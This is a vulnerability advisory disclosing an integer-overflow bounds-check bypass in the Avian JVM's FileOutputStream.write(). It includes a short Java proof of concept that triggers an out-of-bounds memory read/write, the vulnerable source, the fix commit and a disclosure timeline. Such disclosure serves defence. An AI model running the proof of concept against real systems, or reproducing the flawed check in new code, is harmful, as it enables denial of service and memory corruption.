Vulnerability title: Avian JVM FileOutputStream.write() Integer Overflow
Author: Pietro Oliva
Vendor: ReadyTalk
Product: Avian JVM
Affected version: 1.2.0 before 27th October 2020
Fixed Version: 1.2.0 since 27th October 2020
Description:
The issue is located in the FileOutputStream.write() method defined in
FileOutputStream.java, where a boundary check is performed in order to prevent
out-of-bounds memory read/write. However, this check contained an integer
overflow which leads to the same check being bypassed and out-of-bounds
read/write.
Impact:
Attackers could exploit this vulnerability to read/write arbitrary content in
the JVM memory. This could in turn result in denial of service, memory
disclosure, or arbitrary code execution in the context of the JVM.
Exploitation:
The following PoC would trigger an OOB read/write and/or crash of Avian JVM:
import java.io.IOException;
import java.io.FileDescriptor;
import java.io.FileOutputStream;
public class poc {
public static void main(String[] args) throws IOException {
byte[] data = "somedata".getBytes();
FileDescriptor fd = new FileDescriptor().out;
FileOutputStream fos = new FileOutputStream(fd);
fos.write(data, 1, 0x7fffffff); // Integer overflow + OOB read/write here
}
}
Evidence:
public void write(byte[] b, int offset, int length) throws IOException {
if (b == null) {
throw new NullPointerException();
}
if (offset < 0 || offset + length > b.length) { // Integer overflow here
throw new ArrayIndexOutOfBoundsException();
}
write(fd, b, offset, length);
}
extern "C" JNIEXPORT void JNICALL
Java_java_io_FileOutputStream_write__I_3BII(JNIEnv* e,
jclass,
jint fd,
jbyteArray b,
jint offset,
jint length)
{
jbyte* data = static_cast<jbyte*>(malloc(length));
if (data == 0) {
throwNew(e, "java/lang/OutOfMemoryError", 0);
return;
}
e->GetByteArrayRegion(b, offset, length, data);
if (not e->ExceptionCheck()) {
doWrite(e, fd, data, length);
}
free(data);
}
void JNICALL GetByteArrayRegion(Thread* t,
jbyteArray array,
jint offset,
jint length,
jbyte* dst)
{
ENTER(t, Thread::ActiveState);
if (length) {
// Out-of-bounds read/write here
memcpy(dst, &(*array)->body()[offset], length * sizeof(jbyte));
}
}
As can be observed above, offset+length can overflow in FileOutputStream.write()
and later result in OOB read/write during memcpy() in GetByteArrayRegion().
Mitigating factors:
Since offset needs to be a positive integer, and length is limited to a valid
malloc argument, there is a limited range of memory where an attacker could read
or write as a result of this vulnerability.
Remediation:
A fix has been made available with the following commit:
https://github.com/ReadyTalk/avian/commit/0871979b298add320ca63f65060acb7532c8a0dd
Disclosure timeline:
20th October 2020 - Vulnerability reported.
20th October 2020 - Vulnerability acknowledged.
20th October 2020 - CVE request sent to Mitre.
23rd October 2020 - Sent reminder to Mitre.
27th October 2020 - Sent reminder to Mitre.
27th October 2020 - Patch proposed via pull request.
27th October 2020 - Patch merged into master branch.
29th October 2020 - Sent reminder to Mitre.
2nd November 2020 - CVE request sent again to Mitre.
11th November 2020 - Vulnerability details shared on fulldisclosure without CVE identifier.
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